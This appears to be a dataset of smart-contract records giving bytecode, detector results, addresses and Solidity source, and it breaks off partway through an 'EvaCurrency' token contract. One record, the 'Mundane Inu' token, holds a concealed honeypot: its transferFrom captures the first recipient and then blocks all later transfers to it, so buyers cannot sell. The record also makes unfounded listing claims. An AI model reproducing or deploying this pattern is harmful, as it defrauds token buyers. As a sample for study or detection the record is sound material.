600020819055508460070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611a3c57805160ff1916838001178555611a6a565b82800160010185558215611a6a579182015b82811115611a69578251825591602001919060010190611a4e565b5b509050611a779190611a7b565b5090565b611a9d91905b80821115611a99576000816000905550600101611a81565b5090565b905600a165627a7a7230582063278b6a3d249d8e17e8228f9949c91f78ffcc82f9ea2d78ba0343235b17d1870029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,120 |
0xb74e4cf8b958b783b2dc6258c4f6496a59dcbba3
|
/**
* /$$ /$$ /$$ /$$ /$$ /$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$$ /$$$$$$ /$$ /$$ /$$ /$$
* | $$$ /$$$| $$ | $$| $$$ | $$| $$__ $$ /$$__ $$| $$$ | $$| $$_____/ |_ $$_/| $$$ | $$| $$ | $$
* | $$$$ /$$$$| $$ | $$| $$$$| $$| $$ \ $$| $$ \ $$| $$$$| $$| $$ | $$ | $$$$| $$| $$ | $$
* | $$ $$/$$ $$| $$ | $$| $$ $$ $$| $$ | $$| $$$$$$$$| $$ $$ $$| $$$$$ | $$ | $$ $$ $$| $$ | $$
* | $$ $$$| $$| $$ | $$| $$ $$$$| $$ | $$| $$__ $$| $$ $$$$| $$__/ | $$ | $$ $$$$| $$ | $$
* | $$\ $ | $$| $$ | $$| $$\ $$$| $$ | $$| $$ | $$| $$\ $$$| $$ | $$ | $$\ $$$| $$ | $$
* | $$ \/ | $$| $$$$$$/| $$ \ $$| $$$$$$$/| $$ | $$| $$ \ $$| $$$$$$$$ /$$$$$$| $$ \ $$| $$$$$$/
* |__/ |__/ \______/ |__/ \__/|_______/ |__/ |__/|__/ \__/|________/ |______/|__/ \__/ \______/
*
*/
/**
* 80% UNISWAP LIQUIDITY LAUNCH
* 20% INITIAL BURN
* MUNDANE Inu $MUNDANEINU
* ANTI BOT MECHANISM
* A token with automatic
* buyback mechanisms thus increasing floor price of tokens
* MADE BY DEGEN DEV FOR ALL DEGENS
* CMC and COINGECKO APPLIED (LISTING IN A WEEK)
* MAJOR CEX LISTING TODAY
* 2021 © MUNDANEINU | All rights reserved
*/
/**
* MUNDANEINU PAD- The launchpad for worlds most innovative blockcahin projects will be live in some days.
* MAFTY- NFT PLATFORM (live in 3 days)
* 100 Genesis edition nft will be airdroped to first 100 addresses of MUNDANEINU
* Genesis edition nft can be used to get discounted guarantee allocation of the launchpad projects.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "MUNDANEINU";
name = "Mundane Inu";
decimals = 9;
_totalSupply = 1000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
}
|
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820a3b2c044f4996591c4359b6e6a262e71316e6135c0cf3795aad7ac97302aff8764736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 5,121 |
0x21fcf6e1046f7de62557e64470447f8e516919ac
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
*/
function transferOwnership(address newOwner) public onlyOwner{
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool){
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ComissionList is Claimable {
using SafeMath for uint256;
struct Transfer {
uint256 stat;
uint256 perc;
}
mapping (string => Transfer) refillPaySystemInfo;
mapping (string => Transfer) widthrawPaySystemInfo;
Transfer transferInfo;
event RefillCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event WidthrawCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event TransferCommisionIsChanged(uint256 stat, uint256 perc);
// установить информацию по комиссии для пополняемой платёжной системы
function setRefillFor(string _paySystem, uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
refillPaySystemInfo[_paySystem].stat = _stat;
refillPaySystemInfo[_paySystem].perc = _perc;
RefillCommisionIsChanged(_paySystem, _stat, _perc);
}
// установить информацию по комиссии для снимаеомй платёжной системы
function setWidthrawFor(string _paySystem,uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
widthrawPaySystemInfo[_paySystem].stat = _stat;
widthrawPaySystemInfo[_paySystem].perc = _perc;
WidthrawCommisionIsChanged(_paySystem, _stat, _perc);
}
// установить информацию по комиссии для перевода
function setTransfer(uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
transferInfo.stat = _stat;
transferInfo.perc = _perc;
TransferCommisionIsChanged(_stat, _perc);
}
// взять процент по комиссии для пополняемой платёжной системы
function getRefillStatFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].perc;
}
// взять фикс по комиссии для пополняемой платёжной системы
function getRefillPercFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].stat;
}
// взять процент по комиссии для снимаемой платёжной системы
function getWidthrawStatFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].perc;
}
// взять фикс по комиссии для снимаемой платёжной системы
function getWidthrawPercFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].stat;
}
// взять процент по комиссии для перевода
function getTransferPerc() public view returns (uint256) {
return transferInfo.perc;
}
// взять фикс по комиссии для перевода
function getTransferStat() public view returns (uint256) {
return transferInfo.stat;
}
// рассчитать комиссию со снятия для платёжной системы и суммы
function calcWidthraw(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = widthrawPaySystemInfo[_paySystem].stat + (_value / 100 ) * widthrawPaySystemInfo[_paySystem].perc;
return _totalComission;
}
// рассчитать комиссию с пополнения для платёжной системы и суммы
function calcRefill(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = refillPaySystemInfo[_paySystem].stat + (_value / 100 ) * refillPaySystemInfo[_paySystem].perc;
return _totalComission;
}
// рассчитать комиссию с перевода для платёжной системы и суммы
function calcTransfer(uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = transferInfo.stat + (_value / 100 ) * transferInfo.perc;
return _totalComission;
}
}
contract EvaCurrency is PausableToken, BurnableToken {
string public name = "EvaUSD";
string public symbol = "EUSD";
ComissionList public comissionList;
uint8 public constant decimals = 3;
mapping(address => uint) lastUsedNonce;
address public staker;
event Mint(address indexed to, uint256 amount);
function EvaCurrency(string _name, string _symbol) public {
name = _name;
symbol = _symbol;
staker = msg.sender;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
function setComissionList(ComissionList _comissionList) onlyOwner public {
comissionList = _comissionList;
}
modifier onlyStaker() {
require(msg.sender == staker);
_;
}
// Перевод между кошельками по VRS
function transferOnBehalf(address _to, uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(_to, _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcTransfer(_amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[_to] = balances[_to].add(resultAmount);
balances[staker] = balances[staker].add(fee);
lastUsedNonce[sender] = _nonce;
